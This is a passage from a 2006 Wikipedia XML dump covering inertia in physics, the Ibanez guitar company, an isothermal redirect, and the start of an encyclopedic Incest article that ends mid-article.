* [[Implicit function theorem]]
* [[Inverse function theorem]]
* [[Image (mathematics)|Inverse image]]
* [[Inverse relation]]

[[Category:Set theory]]

[[de:Umkehrfunktion]]
[[fr:Application réciproque]]
[[he:פונקציה הפיכה]]
[[io:Simetra elemento]]
[[pl:funkcja odwrotna]]
[[uk:&amp;#1054;&amp;#1073;&amp;#1077;&amp;#1088;&amp;#1085;&amp;#1077;&amp;#1085;&amp;#1072; &amp;#1092;&amp;#1091;&amp;#1085;&amp;#1082;&amp;#1094;&amp;#1110;&amp;#1103;]]</text>
    </revision>
  </page>
  <page>
    <title>Inertia</title>
    <id>14909</id>
    <revision>
      <id>41710764</id>
      <timestamp>2006-03-01T05:38:55Z</timestamp>
      <contributor>
        <username>Omphaloscope</username>
        <id>140999</id>
      </contributor>
      <minor />
      <comment>/* Early understanding of motion */ sectioned off theory of impetus</comment>
      <text xml:space="preserve">:''This article is about inertia as it applies to [[physics]]. You may be looking for the [[psychological]]/[[sociological]] term; see [[social inertia]]. In [[economics]], inertia has two meanings, the tendency of an economy to continue moving in a fixed direction until a sufficient force acts to change that direction, and the &quot;unwillingness to change&quot; at a large firm which may contribute to a [[diseconomy of scale]].'' 

The principle of '''inertia''' is one of the fundamental [[Law (principle)|laws]] of [[classical physics]] which are used to describe the [[motion]] of [[matter]] and how it is affected by applied [[forces]].  The concept of inertia is today most commonly defined using [[Isaac Newton]]'s [[Newton's laws of motion|First Law of Motion]], which states:

&lt;blockquote&gt;''Every body perseveres in its state of being at rest or of moving uniformly straight ahead, except insofar as it is compelled to change its state by forces impressed.'' [Cohen &amp; Whitman 1999 translation]&lt;/blockquote&gt;


The description of inertia presented by Newton's law is still considered the standard for [[classical physics]]. However, it has also been refined and expanded over time to reflect developments in understanding of [[theory of relativity|relativity]] and [[quantum physics]] which have led to somewhat different (and more mathematical) interpretations in some of those fields.

== Common usage of term ==

It should be emphasised that 'inertia' is a scientific [[principle]], and thus not [[quantitative|quantifiable]].

In common usage, people may also use the term &quot;inertia&quot; to refer qualitatively to an object's [[momentum]] or its &quot;amount of resistance to change in velocity&quot; (its [[mass]]), depending on context (e.g. &quot;this object has a lot of inertia&quot;).  The term &quot;inertia&quot; is more properly understood as a shorthand for &quot;the principle of inertia as described by Newton in his First Law&quot;.

==History and development of the concept==

===Early understanding of motion===

Prior to the [[Renaissance]] in the [[15th century]], the generally accepted theory of motion in western philosophy was that proposed by [[Aristotle]] (around [[335 BC]] to [[322 BC]]), which stated that in the absence of a force, all objects (on earth) would naturally come to rest in a state of no movement, and that moving objects only continue to move so long as there is a force inducing them to do so{{ref|physics}}.  This position also presumed that the earth itself was static and did not move, and also implied that there must be different rules for movement on earth (where objects are naturally at rest) and movement in the heavens (which appeared to exhibit perpetual motion).

Despite its remarkable success and general acceptance, this position was disputed on several occasions by notable philosophers over the nearly 2 [[millennia]] of its reign.  In the [[6th century]], [[Joannes Philoponus]] first criticised Aristotle's view, proposing instead that motion was maintained by some property of the object, imparted when it was set in motion{{ref|philoponus}}.  This view was strongly opposed by [[Averroës]] and the [[scholastic]] philosophers who supported Aristotle.

====Theory of impetus====

However, in the [[14th century]] [[Jean Buridan]] rejected the notion that this motion-generating property, which he named ''impetus'', dissipated spontaneously.  Instead, Buridan's position was that a moving object would be arrested by the forces of air resistance and [[gravity]] which might oppose its impetus{{ref|buridan}}.  Buridan also maintained that impetus increased with speed; thus, his initial idea of impetus was similar in many ways to the modern concept of [[momentum]].  However, the two concepts differ in that Buridan proposed impetus as ''causing'' motion, whereas momentum is defined as being ''caused by'' motion.  Despite the obvious similarities to more modern ideas of inertia, Buridan saw his theory as only a modification to Aristotle's basic philosophy, maintaining many other [[peripatetic]] views, including the belief that there was still a fundamental difference between an object in motion and an object at rest.  Buridan also maintained that impetus could be not only linear, but also circular in nature, causing objects (such as celestial bodies) to move in a circle.

===Classical inertia===

The Aristotelian philosophy of motion became increasingly problematic in the face of the conclusions of [[Nicolaus Copernicus]] in the [[16th century]], who argued that the earth (and everything on it) was in fact never &quot;at rest&quot;, but was actually in constant motion around the sun{{ref|revolutionibus}}.  [[Galileo]], in his further development of the Copernican model, recognized these problems with the then-accepted nature of motion and, at least partially as a result, developed what is commonly considered the first description of what has ultimately come to be the modern idea of inertia:

&lt;blockquote&gt;A body moving on a level surface will continue in the same direction at a constant speed unless disturbed.&lt;/blockquote&gt;

It is also worth noting that Galileo later went on to conclude that based on this initial premise of inertia, it is impossible to tell the difference between a moving object and a stationary one without some outside reference to compare it against{{ref|galileo-worldsys}}.  This observation ultimately came to be the basis for [[Einstein]] to develop the theory of [[Special Relativity]].

Galileo's concept of inertia would later come to be refined and codified by [[Isaac Newton]] as the first of his [[Newton's laws of motion|Laws of Motion]] (first published in Newton's work, ''[[Philosophiae Naturalis Principia Mathematica]]'', in 1687):

&lt;blockquote&gt;Unless acted upon by an unbalanced force, an object will maintain a constant velocity.&lt;/blockquote&gt;

Note that &quot;velocity&quot; in this context is defined as a [[vector]], thus Newton's &quot;constant velocity&quot; implies both constant speed and constant direction (and also includes the case of zero speed, or no motion).  Since initial publication, Newton's Laws of Motion (and by extension this first law) have come to form the basis for the almost universally accepted branch of [[physics]] now termed [[classical mechanics]].

The actual term &quot;inertia&quot; was first introduced by [[Johannes Kepler]] in his ''Epitome Astronomiae Copernicanae'' (published in three parts from 1618-1621); however, the meaning of Kepler's term (which he derived from the latin word for &quot;idleness&quot; or &quot;laziness&quot;) was not quite the same as its modern interpretation.  Kepler defined inertia only in terms of a resistance to movement, once again based on the presumption that rest was a natural state which did not need explanation.  It was not until the later work of Galileo and Newton unified rest and motion in one principle that the term &quot;inertia&quot; could be applied to these concepts as it is today.

Nevertheless, despite defining the concept so elegantly in his laws of motion, even Newton did not actually use the term &quot;inertia&quot; to refer to his First Law.  In fact, Newton originally viewed the phenomenon he described in his First Law of Motion as being caused by &quot;innate forces&quot; inherent in matter, which resisted any acceleration.  Given this perspective, and borrowing from Kepler, Newton actually attributed the term &quot;inertia&quot; to mean &quot;the innate force posessed by an object which resists changes in motion&quot;; thus Newton defined &quot;inertia&quot; to mean the ''cause'' of the phenomenon, rather than the phenomenon itself.  However, Newton's original ideas of &quot;innate resistive force&quot; were ultimately problematic for a variety of reasons, and thus most physicists no longer think in these terms.  As no alternate mechanism has been readily accepted, and it's now generally accepted that there may not be one which we can know, the term &quot;inertia&quot; has come to mean simply the phenomenon itself, rather than any inherent mechanism.  Thus, ultimately, &quot;inertia&quot; in modern classical physics has come to be a name for the same phenomenon described by Newton's First Law of Motion, and the two concepts are now basically equivalent.

===Relativity===

[[Albert Einstein]]'s theory of [[Special Relativity]], as proposed in his 1905 paper, &quot;On the Electrodynamics of Moving Bodies,&quot; built on the understanding of inertia and [[inertial reference frames]] developed by Galileo and Newton.  While this revolutionary theory did significantly change the meaning of many Newtonian concepts such as [[mass]], [[energy]], and [[distance]], Einstein's concept of inertia remained unchanged from Newton's original meaning (in fact the entire theory was based on Newton's definition of inertia).  However, this resulted in a limitation inherent in Special Relativity that it could only apply when reference frames were ''inertial'' in nature (meaning when no acceleration was present).  In an attempt to address this limitation, Einstein proceeded to develop his theory of [[General Relativity]] (&quot;The Foundation of the General Theory of Relativity,&quot; 1916), which ultimately provided a unified theory for both ''inertial'' and ''noninertial'' (accelerated) reference frames.  However, in order to accomplish this, in General Relativity Einstein found it necessary to redefine several fundamental aspects of the universe (such as gravity) in terms of a new concept of &quot;curvature&quot; of [[spacetime]], instead of the more traditional system of forces understood by Newton.

As a result of this redefinition, Einstein also redefined the concept of &quot;inertia&quot; in terms of [[geodesic deviation]] instead, with some subtle but significant additional implications.  The result of this is that according to General Relativity, when dealing with very large scales, the traditional Newtonian idea of &quot;inertia&quot; does not actually apply, and cannot necessarily be relied upon.  Luckily, for sufficiently small regions of spacetime, the Special Theory can still be used, in which inertia still means the same (and works the same) as in the classical model.

Another profound, perhaps the most well-known, conclusion of the theory of Special Relativity was that energy and mass are not separate things, but are, in fact, interchangeable.  This new relationship, however, also carried with it new implications for the concept of inertia.  The logical conclusion of Special Relativity was that if mass exhibits the principle of inertia, then inertia must also apply to energy as well.  This theory, and subsequent experiments confirming some of its conclusions, have also served to radically expand the definition of inertia in some contexts to apply to a much wider context including energy as well as matter.

==Interpretations==
===According to Isaac Asimov===
According to [[Isaac Asimov]] in &quot;Understanding Physics&quot;:  &quot;This tendency for motion (or for rest) to maintain itself steadily unless made to do otherwise by some interfering force can be viewed as a kind of &quot;laziness,&quot;  a kind of unwillingness to make a change.  And indeed, [Newton's] first law of motion is referred to as the principle of inertia, from a Latin word meaning &quot;idleness&quot; or &quot;laziness.&quot;  With the footnote:  &quot;In Aristotle's time the earth was considered a motionless body fixed at the center of the universe; the notion of 'rest' therefore had a literal meaning.  What we ordinarily consider 'rest' nowadays is a state of being motionless with respect to the surface of the earth.  But we know (and Newton did, too) that the earth itself is in motion about the sun and about its own axis.  A body resting on the surface of the earth is therefore not really in a state of rest at all.&quot;

As [[Isaac Asimov]] goes on to explain, &quot;Newton's laws of motion represent assumptions and definitions and are not subject to proof.  In particular, the notion of 'inertia' is as much an assumption as Aristotle's notion of 'natural place.'...To be sure, the new relativistic view of the universe advanced by Einstein makes it plain that in some respects Newton's laws of motion are only approximations...At ordinary velocities and distance, however, the approximations are extremely good.&quot;

=== Mass as a measure of inertia ===

[[Physics]] and [[mathematics]] appear to be less inclined to use the original concept of inertia as &quot;a tendency to maintain momentum&quot; and instead favor the mathematically useful definition of inertia as the measure of a body's resistance to changes in momentum or simply a body's inertial mass.  

This was clear in the beginning of the [[20th century]], when the [[theory of relativity]] was not yet created. Mass, '''m''', denoted something like amount of substance or quantity of matter. And at the same time mass was the quantitative measure of inertia of a body.

Inertia of a body determines momentum '''P''' of the body at given velocity '''v''' of the body, i. e. it is a proportionality factor in the formula:

'''P=mv'''

The factor m is referred to as inertial mass.

But mass as a measure of inertia of a body can be defined also by the formula:

'''F = ma'''

By this formula, the more is mass, the less is the acceleration of a body at given force. Masses '''m''' defined by the formulae (1) and (2) are equal because the formula (2) is a consequence of the formula (1) if mass does not depend on time and speed. Thus, &quot;mass is the quantitative or numerical measure of body’s inertia, that is of its resistance to being accelerated&quot;.

This definition of a body's inertia therefore is altered from the original definition of inertia as &quot;a tendency to maintain momentum&quot; to a definition of the measure of how difficult it is to change the momentum of a body.

=== Inertial mass ===
The only difference there appears to be between inertial mass and gravitational mass is the method used to determine them. 

[[Gravitational mass]] is measured by comparing the force of gravity of an unknown mass to the force of [[gravity]] of a known mass. This is typically done with some sort of balance scale. The beauty of this method is that no matter where, or what planet, you are, the masses will always balance out because the gravitational acceleration on each object will be the same. This does break down near supermassive objects such as black holes and neutron stars due to the high gradient of the gravitational field around such objects. 

Inertial mass is found by applying a known force to an unknown mass, measuring the acceleration, and applying Newton's Second Law, '''m = F/a'''. This gives an accurate value for mass, limited only by the accuracy of the measurements. When astronauts need to be weighed in outer space, they actually find their inertial mass in a special chair. 

The interesting thing is that, physically, no difference has been found between gravitational and inertial mass. Many experiments have been performed to check the values and the experiments always agree to within the margin of error for the experiment. [[Einstein]] used the fact that gravitational and inertial mass were equal to begin his [[Theory of General Relativity]] in which he postulated that gravitational mass was the same as inertial mass, and that the acceleration of gravity is a result of a 'valley' or slope in the [[space-time continuum]] that masses 'fell down' much as pennies spiral around a hole in the common donation toy at a chain store.

Since Einstein used inertial mass to describe [[Special Relativity]], inertial mass is closely related to [[relativistic mass]] and is therefore different from [[rest mass]].

=== Inertial frames ===

In a location such as a steadily moving railway carriage, a dropped ball would behave as it would if it were dropped in a stationary carriage. The ball would simply descend vertically. It is possible to ignore the motion of the carriage by defining it as an [[inertial frame]].  In a moving but non-accelerating frame, the ball behaves normally because the train and its contents continue to move at a constant velocity.  Before being dropped, the ball was traveling with the train at the same speed, and the ball's inertia ensured that it continued to move in the same speed and direction as the train, even while dropping. Note that, here, it is inertia which ensured that, not its mass.

In an [[inertial frame]] all the observers in uniform (non-accelerating) motion will observe the same laws of physics. However observers in another inertial frames can make a simple, and intuitively obvious, transformation (the [[Galilean transformation]]), to convert their observations. Thus, an observer from outside the moving train could deduce that the dropped ball within the carriage fell vertically downwards. 

However, in frames which are experiencing acceleration (''non-inertial frames''), objects appear to be affected by ''[[fictitious force]]s''.  For example, if the railway carriage was accelerating, the ball would not fall vertically within the carriage but would appear to an observer to be deflected because the carriage and the ball would not be traveling at the same speed while the ball was falling. Other examples of fictitious forces occur in rotating frames such as the earth.  For example, a missile at the North Pole could be aimed directly at a location and fired southwards.  An observer would see it apparently deflected away from its target by a force (the [[Coriolis effect|Coriolis force]]) but in reality the southerly target has moved because earth has rotated while the missile is in flight.  Because the earth is rotating a useful inertial frame of reference is defined by the stars, which only move imperceptibly during most observations.

In summary, the principle of inertia is intimately linked with the principles of [[conservation of energy]] and [[Momentum#Conservation of momentum|conservation of momentum]].

===Rotational inertia===

Another form of inertia is ''rotational inertia'', which refers to the fact that a rotating rigid body maintains its state of uniform [[rotation]]al motion.  Its [[angular momentum]] is unchanged, unless an external [[torque]] is applied; this is also called conservation of angular momentum.  Rotational inertia often has hidden practical consequences.

==See also==

*[[Energy]]
*[[General relativity]]
*[[Inertial frame]]
*[[Inertial guidance system]]
*[[Inertial mass]]
*[[List of moments of inertia]]
*[[Mach's principle]]
*[[Momentum]]
*[[Newton's laws of motion]]
*[[Newtonian physics]]
*[[Special relativity]]

==References and footnotes==
# {{note|physics}} [http://etext.library.adelaide.edu.au/a/aristotle/a8ph/ Aristotle: Physics], (335-322 BC), trans. by R. P. Hardie and R. K. Gaye ([[Physics (Aristotle)|Wikipedia Article]])
# {{note|philoponus}} [http://plato.stanford.edu/entries/philoponus/ Stanford Encyclopedia of Philosophy: Joannes Philoponus]
# {{note|buridan}} Jean Buridan: Quaestiones on Aristotle's Physics (quoted at http://brahms.phy.vanderbilt.edu/a203/impetus_theory.html)
# {{note|revolutionibus}} [http://webexhibits.org/calendars/year-text-Copernicus.html Nicholas Copernicus: The Revolutions of the Heavenly Spheres], 1543
# {{note|galileo-worldsys}} [http://webexhibits.org/calendars/year-text-Galileo.html Galileo: Dialogue Concerning the Two Chief World Systems], 1632 ([[Dialogue Concerning the Two Chief World Systems|Wikipedia Article]])

==External links==

*[http://www.seop.leeds.ac.uk/entries/buridan/ ''Jean Buridan'' Stanford Encyclopaedia of Philosophy]

*Principia: [http://members.tripod.com/~gravitee/]

==Books and papers==

*Butterfield, H (1957) ''The Origins of Modern Science'' ISBN 071350160X
*Clement, J (1982) &quot;Students' preconceptions in introductory mechanics&quot;, ''American Journal of Physics'' vol 50, pp66-71
*Crombie, A C (1959) ''Medieval and Early Modern Science'', vol 2
*McCloskey, M (1983) &quot;Intuitive physics&quot;, ''Scientific American'', April, pp114-123
*McCloskey, M &amp; Carmazza, A (1980) &quot;Curvilinear motion in the absence of external forces: naïve beliefs about the motion of objects&quot;, ''Science'' vol 210, pp1139-1141
* http://arxiv.org/abs/physics/0211106 UNIVERSALITY Emil Marinchev, Technical University of Sofia, Physics Department, 8 Kliment Ohridski St., Sofia-1000, BG, e-mail: emar@tu-sofia.bg Abstract: This article is an attempt for a new vision of the basics of Physics, and of Relativity, in particular. A new generalized principle of inertia is proposed, as an universal principle, based on universality of the conservation laws. A new theoretical scheme is proposed based on two basic principles: 1.The principle of universality of the conservation laws, and 2.The principle of the universal velocity. It is well- founded with examples of different fields of physics. Comments: 5 pages, 1 figure, Subj-class: General Physics, Key words:Universality, New Insight in Physics http://arxiv.org/abs/physics/0211106

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[[Category:Classical mechanics]]
[[Category:Introductory physics]]

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  </page>
  <page>
    <title>Ibanez</title>
    <id>14910</id>
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      <id>41816090</id>
      <timestamp>2006-03-01T22:59:14Z</timestamp>
      <contributor>
        <username>TheJesterRace07</username>
        <id>1000013</id>
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      <minor />
      <comment>/* Electric Guitars */</comment>
      <text xml:space="preserve">:''This article is about the guitar manufacturer.  For a list of people named Ibáñez see [[Ibáñez (disambiguation)]]''

[[Image:Ibanez logo.jpg|thumb|200px|The Ibanez logo]]

'''Ibanez''' is a guitar company in [[Nagoya, Aichi]], [[Japan]], the company was started by Hoshino Gakki.

==History==
The Hoshino Gakki company began in [[1908]] as a musical instrument sales division of the ''Hoshino Shoten'' [[bookstore]] company.  In [[1935]] they began manufacturing their own stringed instruments.  The company had little presence in the Western world until the mid-1960s. 

In [[1954]], [[Harry Rosenbloom]] opened a music store in [[Bryn Mawr, Pennsylvania]], northwest of [[Philadelphia]].  Due to the post-[[World War II]] music boom, his sales soon outstripped his inventory, and he began a company called '''Elger Guitars''' in an attempt to manufacture enough guitars to fill his needs.  The Elger Guitar company made a relatively small number of hand-built, high quality guitars through the early 1960s.

[[Image:JEM7VWH.jpg|thumb|150px|right|Ibanez Jem]]

By 1965 Rosenbloom had decided to stop manufacturing guitars and chose to become the exclusive North American distributor for Hoshino Gakki instruments.  At the time, the phrase &quot;made in Japan&quot; was considered to have negative connotations of low quality, so Hoshino Gakki and Rosenbloom wanted to distribute the instruments under a &quot;non-Japanese&quot; name.  Hoshino had recently acquired a small Spanish guitar company named '''Ibanez''', and it was decided to market the instruments under this brand name.  In [[1971]] Hoshino purchased Elger Guitars, renaming the company &quot;Ibanez U.S.A.&quot; and retaining the company headquarters in Bensalem, Pennsylvania as a distribution and quality-control center.


In the early 1970s Ibanez began making guitars that were almost exact copies of popular models by [[Gibson Guitar Corporation|Gibson]], [[Fender]] and [[Rickenbacker]].  Using somewhat cheaper materials and greater automation in manufacturing, they were able to sell these guitars for a significantly lower price than the originals.  The low price combined with the relatively high quality of the guitars made these models very popular.  Many guitar aficionados feel that the early- and mid-70s mark a low point in the quality of guitars from the major manufacturers, which helped contribute to the popularity of the Ibanez copies.  These guitars have become known as &quot;lawsuit&quot; guitars and have become somewhat collectible.  

The actual lawsuit referred to was brought by the '''Norlin Corporation''', the parent company of [[Gibson Guitar Corporation|Gibson]] guitars, in [[1977]], and was based on an Ibanez [[Guitar#Headstock|headstock]] design that had been discontinued by [[1976]].  Ibanez settled out of court, and by [[1978]] had begun making guitars from their own designs.  

Abandoning the strategy of copying &quot;classic&quot; electric guitar designs, the newer models began incorporating more modern elements into their design, such as radical body shapes, slimmer necks and flatter fingerboards (which allowed for faster playing), higher-output electronics and colorful finishes.  This led to an increasing popularity with [[heavy metal music|heavy metal]] musicians.  The company also began an extensive program of consulting with well-known guitar players, such as [[Joe Satriani]] and [[Steve Vai]] and creating signature models made to the players' specifications.

[[Image:K7BGvert.jpg|thumb|200px|Ibanez K7]]

==Guitars==

===Electric Guitars===
*ARTCORE Series
*ARTIST Series
*AT Series
*AX Series
*GB Series
*GSA Series
*JEM Series
*JETKING Series
*JS Series
*JSM Series
*JUMPSTART Series
*[[K7 Series]]
*MMM Series
*[[MTM Series]]
*NDM Series
*PGM Series
*PM Series
*RG Series
*S Series
*SA Series
*SZ Series
*X Series

===Bass Guitars===
*ARTCORE Series
*BTB Series
*DWB Series
*EDB Series
*GAXB Series
*GSR Series
*GWB Series
*ICB Series
*JUMPSTART Series
*K5 Series
*ROADGEAR Series
*SR Series
*SRX Series

===Acoustic Guitars===
*AE Series
*AES Series
*AW Series
*DT Series
*EP9 Series
*EW Series
*GA Series
*JAMPACK Series
*MANDOLIN Series
*MASA Series
*PF Series
*TALMAN Series
*V Series

==Effect Pedals==

In the 1970's, the Maxon company developed and began selling a series of effect pedals in Japan. Ibanez licensed these for sale under their name outside of Japan. The two companies eventually began doing less and less business together until Maxon ceased manufacting the TS-9 reissue for Ibanez in 2002.

'''Tube Screamers''' - Based on the earlier Overdrive I and II pedals, Ibanez began releasing the first Tube Screamer, the TS-808 in the late 1970's. These contained the famed JRC4558D [[integrated circuit|integrated circuit (IC)]]. Many players consider this one of the best [[solid state]] pedals to emulate the sound produced by an [[Overdrive (music)|overdriven]] [[vacuum tube]] [[Instrument amplifier|guitar amplifier]]. Over the years, Ibanez released many different kinds of pedals bearing the Tube Screamer name. The first was the TS-9 Tube Screamer, which included only a few component changes and often, but not always, different IC's. In 1985 the Master or L series were introduced and sold only for a year. Many claim that in this series there's no Tubescreamer. Looking closer circuitwise shows that there is one but in the disguise of the Metal Screamer with slightly changed component values. The name change was most likely for marketing reasons. Based on the Master series but with slight changes in in housing in 1986, the Power Series were introduced, which included the TS-10. Like many of the Master and Power Series pedals, there were not many differences in the circuitry between these and their 9-series counterparts.  To make production cheaper, these pedals used circuit board-mounted [[potentiometer|potentiometers (pots)]] and jacks.  In 1992, Ibanez began re-issuing the TS-9.  Then in 1996, Ibanez added a [[CE_mark|CE mark]] to the back of the pedal, which is required for it to be sold in Europe. In the early 90's, Ibanez released the Soundtank series, which, except for the first run which was metal, had cheap plastic enclosures and like the Power Series before it, used less expensive parts. Around 2000 came the Tone Lok series, and the TS-7, which included a switch for added gain. In 1998, the new TS-9DX was introduced, which included a 4-way switch for capacitor changes and changes in the clipping section. Then in 2002, Maxon stopped production of the TS-9 for Ibanez.  Post-2002 circuit boards say Ibanez instead of Maxon. Due to popular demand, Ibanez reissued the TS-808 in 2004, complete with the JRC4558D chip. Original TS-808's, and to a lesser extent, TS-9s, have become highly collectible. Many overdrive pedals in production, especially those by &quot;boutique&quot; manufacturers, are a modified version of the Tube Screamer circuit.

==References/External links==
*[http://www.ibanez.com/ Ibanez]
*[http://www.hoshinogakki.co.jp/hoshino_e/history/history.html History of Hoshino Gakki Co., Ltd.]
*[http://www.guitarattack.com/destroyer/lawsuit.htm Origins of Ibanez and the Lawsuit Models]
*[http://www.ibanezregister.com/ Ibanez Register] - Gallery of past and present Ibanez guitars and basses.
*[http://www.ibanezrules.com/ IbanezRules] - Buy/Sell used Ibanez guitars, technical guides, catalog scans, manuals, wiring diagrams, etc.
*[http://www.jemsite.com/ JEM Site] - An Ibanez JEM series fansite
*[http://www.geocities.com/louferri Ibanez JS Site] - Ibanez Joe Satriani fansite
*[http://www.chrisbsmusic.com/hisofibguit.html Ibanez History] - Ibanez History
*[http://www.korn.com Korn Site] - Official KoRn website.

[[Category:Guitar manufacturers]]

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  <page>
    <title>Isothermal</title>
    <id>14911</id>
    <revision>
      <id>15912437</id>
      <timestamp>2004-08-05T21:18:17Z</timestamp>
      <contributor>
        <username>Stevertigo</username>
        <id>4099</id>
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      <minor />
      <text xml:space="preserve">#redirect:[[Isothermal process]]</text>
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  <page>
    <title>Incest</title>
    <id>14912</id>
    <revision>
      <id>41908411</id>
      <timestamp>2006-03-02T15:15:00Z</timestamp>
      <contributor>
        <username>Natalinasmpf</username>
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      <comment>/* Inbreeding among animals */  formalise</comment>
      <text xml:space="preserve">{{FamilyLaw}}
'''Incest''' is [[sexual activity]] between close [[family]] members. 
Although incest is [[taboo]] or forbidden in the majority of current and historical [[culture]]s, the precise meaning of the word varies widely, because different cultures have differing notions of &quot;sexual activity&quot; and &quot;close family member.&quot; Some [[jurisdiction]]s consider only those related by birth, others also those related by [[adoption]] or [[marriage]]; some prohibit sexual relations between people who grew up in the same [[household]], while others prohibit sexual relations between people who grew up in related households.

Incest between close blood-relations is a [[felony]] in many [[Western world|Western]] nations, as well as in those nations that were [[colonialism|colonialised]] by Western nations, although again the extent of the definition of &quot;close&quot; varies.  However, child abuse attorney, Andrew Vachss, notes that in the United States, most states' penal codes give priviledged treatment to parents who rape their own children.  He states that despite those penal codes, &quot;most US citizens agree that child sexual abuse is one of the foulest crimes imaginable&quot;.

==Inbreeding among animals==
[[Biology|Biologically]], [[animal]]s may have an aversion or inclination to inbreeding based on specific local circumstances and [[theory of evolution|evolutionary]] trends. In some species, most notably [[Bonobo]]s, sexual activity, including between closely related individuals, is a means of [[dispute resolution]] or even a [[greeting]]. Incest between family members, including parents and children occurs; however, incest between a mother and immature sons, who are less than four years old, has not been observed.

The pattern of parenting behavior combined with the structure of dominance hierarchies among many species of animals serves to discourage inbreeding. For example, offspring, in some cases only the male offspring, are often driven away by the mother at about the same age they reach sexual maturity.

==Distinctions between incest and inbreeding==
The concepts &quot;incest&quot; and &quot;[[inbreeding]]&quot; are not synonymous. Incest refers to inappropriate [[Human sexuality|sexual activity]] between individuals who are considered to be too closely related either socially or [[genetics|genetically]]. It is a social and cultural term, in other words, within any culture, any given sexual activity can in principle be categorized as either incestuous or non-incestuous.

Inbreeding refers to [[procreation]] between individuals with varying degrees of ''genetic'' closeness only. It is a scientific term rather than a social or cultural term.
In many societies, the definition of incest relations and the degree of inbreeding may correlate positively. For example, any sexual relations between people of a given degree of genetic closeness is considered incestuous. In many other societies, the definition of incest and the degree of inbreeding may not correlate as sexual relations between certain people of a given degree of genetic closeness are considered incestuous, whereas sexual relations between other people of the same degree of genetic closeness are not considered incestuous.

The consequence of inbreeding is to increase the frequency of [[homozygote]]s within a population.  Depending on the size of the population and the number of generations in which inbreeding occurs, the increase of homozygotes may have either good or bad effects.

==Genetics==
Some have suggested that the incest taboo is a social mechanism to reduce the chances of congenital birth defects that can result from inbreeding.  This argument oversimplifies the consequences of inbreeding in a population.  Inbreeding leads to an increase in [[homozygote|homozygocity]], that is, the same allele at the same locus on both members of a chromosome pair.  This occurs because close relatives are more likely to share more [[allele]]s than unrelated individuals.  If an individual has an allele linked to a [[congenital disorder|congenital birth defect]], it is likely that close relatives would either both have, or both lack this allele; some [[homozygote|homozygotes]] would entirely lack the allele and be born healthy, while others would have two alleles and express the congenital birth defect.  In small societies lacking advanced medical care, children with congenital birth defects (i.e. possessing both alleles) would die before reaching the age of reproduction.  Consequently, over time the frequency of the allele linked to the defect will decrease over time.  The ultimate result would be a healthier population.

Anthropologists have argued that this is the case in societies where partners with whom marriage is forbidden and partners with whom marriage is preferred are equally related in genetic terms.  

In large populations with good health care, however, the diversity of the population would make it likely that there will be consistently high levels of [[heterozygote|heterozygosity]] despite periodic inbreeding.  Consequently the alleles linked to congenital birth defects will remain in the population, with a significant chance of a homozygote with the linked allele.

Some have suggested that strong psychological inhibitions against incest are the result of evolutionary forces.  In what is now a key study of the [[Westermarck effect]], the [[anthropology|anthropologist]] [[Melford E. Spiro]] demonstrated that the inhibition against incest has more to do with social closeness than genetic closeness.  In a [[cohort (statistics)|cohort]] study of children raised as [[commune (intentional community)|communal]], that is to say, fictive, siblings in the [[Kiryat Yedidim]] [[kibbutz]] in the [[1960s]], Spiro found practically no intermarriage between his subjects as adults despite pressure from parents and community, even when subjects were not closely related genetically.  The social experience of having grown up ''as'' brothers and sisters outweighed any biological drive.

==Incest versus exogamy==
[[Anthropology|Anthropologists]] have found that marriage everywhere is governed, often informally, by rules of [[exogamy]], which is [[marriage]] of individuals outside their own groups, and [[endogamy]] where individuals marry inside their own group.  What is considered a group, for purposes of either exogamy or endogamy, varies considerably.  Thus, in most stratified societies one must marry outside of one's [[nuclear family]], a form of exogamy, but should marry a member of one's own [[Social class|class]], [[race]] or [[religion]], a form of endogamy.  In this example, the exogamous group is small and the endogamous group is large.  But in some societies, the exogamous group and endogamous group may be of equal size.  This is the case in societies divided into [[clan]]s or [[lineage]]s.  

In most such societies, membership in a clan or lineage is inherited through only one parent.  Sex with a member of one's own clan or lineage &amp;mdash; whether a parent or a genetically very distant relative &amp;mdash; would be considered incestuous, whereas sex with a member of another clan or lineage &amp;mdash; including the other parent &amp;mdash; would not be considered incest (although it may be considered wrong for other reasons). 

For example, [[Trobriand Islands|Trobriand Islanders]] prohibit both sexual relations between a man and his mother, and between a woman and her father, but they describe these prohibitions in very different ways: relations between a man and his mother fall within the category of forbidden relations among members of the same clan; relations between a woman and her father do not. This is because the Trobrianders are [[matrilineal]]; children belong to the clan of their mother and not of their father. Thus, sexual relations between a man and his mother's sister (and mother's sister's daughter) are also considered incestuous, but relations between a man and his father's sister are not. Indeed, a man and his father's sister will often have a flirtatious relationship, and a man and the daughter of his father's sister may prefer to have sexual relations or marry.  Anthropologists have hypothesized that in these societies, the incest taboo reinforces the rule of exogamy, and thus ensures that social ties between clans or lineages will be maintained through intermarriage.

Chinese and Indian society provides an example of a society with a very broad notion of the endogamous group, as relations between two individuals with the same surname may be banned.

Some cultures cover relatives by marriage in incest prohibitions. For example, the question of the legality and morality of a widower who wished to marry his [[Deceased Wife's Sister's Marriage Act 1907|deceased wife's sister]] was the subject of long and fierce debate in [[19th century]] [[United Kingdom|Britain]], involving, among others, [[Matthew Boulton]].

The [[Tanakh]], which is the [[Hebrews|Hebrew]] [[Old Testament]], contains prohibitions, primarily in [[Leviticus]], against sexual relations between various pairs of family members. Father and daughter, mother and son, and other pairs are forbidden on pain of death to engage in sexual relations. According to the interpretation given to it by some anthropologists, it prohibits sexual relations between [[aunt]]s and [[nephew]]s but not between [[uncle]]s and [[niece]]s.

==Types of Incest==
===Overt parental incest===
Overt, or ''contact'', incest by parents against their children, including adolescents, is considered the cruelest form of [[sexual offense]] by child [[psychologist|psychologists]] and is a [[felony]] [[criminal offense]] in the United States and many other nations.  Parental incest includes opposite-sex and same-sex forms committed by both fathers and mothers.  Child-therapist Susan Forward calls parental incest &quot;perhaps the cruelest, most baffling of human experiences&quot; as it &quot;betrays the very heart of childhood--its innocence&quot;. 

Parental incest often occurs in situations where one parent is either absent from the household or emotionally or sexually unavailable.  The present parent may use the child as a substitute for their missing [[spouse]], and the missing spouse may not be present to provide a check on the other parent. Parental incest obviously has tremendous potential for doing psychological harm to a child, given the child's physical, mental, and emotional dependence on a parent, the total disparity in the power of authority, the disparity in emotional and physical maturity, and the fact that an incestuous relationship is likely to disrupt any healthy aspects of the parent-child relationship.

Clinical psychologist, Ken Adams states that &quot;a common myth is that overt incest is the exception not the rule in America. This is not the case.&quot;.  He quotes researcher Mike 
Lew's estimate that there are over 40 million American adults who as children were victims of sexual abuse, 15 million of whom were men.  Given the taboo nature of parent-child incest and the fact that it is committed against dependent children it is likely to be under-reported in official government statistics.

